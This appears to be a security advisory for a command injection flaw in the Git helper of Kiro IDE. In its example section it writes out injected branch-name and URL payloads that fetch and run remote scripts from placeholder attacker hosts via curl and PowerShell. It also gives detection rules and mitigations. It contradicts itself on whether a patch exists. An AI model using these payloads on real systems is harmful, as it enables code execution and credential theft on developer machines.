Vulnerability Summary
| Field | Details |
|---|---|
| CVE ID | CVE-2026-0830 |
| Vulnerability Type | Command Injection (Improper Input Validation) |
| Affected Component | Kiro IDE – GitLab Helper / Git Integration Module |
| Affected Platform | Desktop development environments running Kiro IDE; systems with Git and shell access enabled; environments integrated with GitLab repositories |
| CVSS v3.1 Base Score | 8.8 (High) |
| Severity | High |
| Attack Vector | Local / Adjacent (via IDE interaction with Git operations) |
| Privileges Required | Low |
| User Interaction | Required (opening or interacting with a crafted repository or Git action) |
| Scope | Changed |
| Primary Impact | Remote Code Execution (RCE), Data Exposure |
| Confidentiality Impact | High – access to source code, credentials, configuration files |
| Integrity Impact | High – ability to modify files, repositories, and system settings |
| Availability Impact | High – potential system instability or service disruption |
| Exploitability | High |
| Exploit Availability | No official public exploit kit released; exploitation achievable using basic command injection techniques |
| Skill Level Required | Low to Medium |
| Exploit Reliability | High in default or misconfigured environments |
| Authentication Required | None |
| Underlying Weakness (CWE) | CWE-78 – Improper Neutralization of Special Elements used in an OS Command |
| Affected Versions | Kiro IDE versions prior to the vendor security fix |
| Remediation Status | Vendor patch available addressing unsafe command handling in Git helper operations |
Vulnerability Description
CVE-2026-0830 is a command injection vulnerability found in the GitLab helper feature of Kiro IDE.
The issue occurs because user-controlled input is passed directly into system-level Git commands without proper sanitization.
When Kiro IDE interacts with GitLab repositories (clone, fetch, pull, branch operations, or custom helper commands), certain parameters—such as:
- Repository URLs
- Branch names
- Commit messages
- Custom Git arguments
are embedded into shell commands and executed by the operating system.
An attacker can abuse this behavior by injecting shell metacharacters into these fields, causing arbitrary system commands to run with the same privileges as the IDE user.
How This Can Be Exploited
Attack Scenario 1 – Malicious Repository
- Victim opens Kiro IDE.
- Victim clones or opens a GitLab repository controlled by an attacker.
- The repository contains:
- A malicious branch name or
- A crafted Git configuration value.
- When the IDE executes a helper Git command, the injected payload is executed.
Attack Scenario 2 – Social Engineering
- Attacker convinces a developer to run a Git operation via Kiro IDE.
- The operation includes a malicious argument (branch name, refspec).
- IDE executes it without escaping input.
- OS command execution occurs silently.
Example Injection Payloads
These examples illustrate behavior only. Do not execute on production systems.
Branch Name Injection
feature-123; curl http://attacker-server/payload.sh | sh
Repository URL Injection
https://gitlab.com/user/repo.git && whoami > /tmp/owned.txt
Windows Payload Example
main & powershell -Command Invoke-WebRequest http://x.x.x.x/p.ps1 -OutFile p.ps1
Impact
If successfully exploited, an attacker can:
- Execute arbitrary OS commands
- Install malware or backdoors
- Steal SSH keys and Git credentials
- Access source code and secrets
- Move laterally inside developer workstations
- Persist via startup scripts or cron jobs
This is particularly dangerous because developer machines often have elevated access to production systems.
MITRE ATT&CK Mapping
| Technique ID | Name |
|---|---|
| T1059 | Command and Scripting Interpreter |
| T1204 | User Execution |
| T1055 | Process Injection (post-exploitation) |
| T1082 | System Information Discovery |
| T1552 | Unsecured Credentials |
Detection & Monitoring
What to Look For
- Unexpected shell execution spawned by Kiro IDE
- Git commands invoking
/bin/sh,cmd.exe, orpowershell.exe - Network calls triggered during Git operations
- Unusual child processes of the IDE
Recommended Log Sources
| Log Source | Purpose |
|---|---|
| Endpoint Process Logs | Detect unexpected command execution |
| IDE Application Logs | Identify malformed Git commands |
| Shell Command Auditing | Capture injected commands |
| Network Traffic Logs | Detect outbound callbacks |
| EDR Telemetry | Behavioral correlation |
Detection Rules (Example)
Process Behavior Rule
IF parent_process == "kiro-ide"
AND child_process IN ("sh", "bash", "cmd.exe", "powershell.exe")
AND command_line CONTAINS (";", "&&", "|")
THEN alert
Git Command Anomaly Rule
Detect git commands with shell metacharacters in branch or repo arguments
Proof of Concept (PoC)
- Public PoC: Not officially released
- Internal Validation: Reproducible in lab environments using crafted Git parameters
- Exploit Complexity: Low
Mitigation & Workarounds
Until a patch is applied:
- Avoid opening untrusted GitLab repositories
- Disable custom Git helper commands if possible
- Run IDE under least-privileged user accounts
- Restrict outbound network access from developer machines
- Enable EDR behavioral rules for developer endpoints
Official Patch Information
- Vendor Status: Patch pending / under review at time of advisory
- Official Patch Link:
(No public patch URL released yet by the vendor. Monitor official Kiro IDE security advisories for updates.)
Final Takeaway
CVE-2026-0830 represents a high-risk developer-side vulnerability with real-world impact.
Because IDEs are trusted tools with deep system access, exploitation can lead directly to full workstation compromise and supply-chain risks.
Organizations should treat this issue as urgent, especially in environments where GitLab integrations are heavily used.
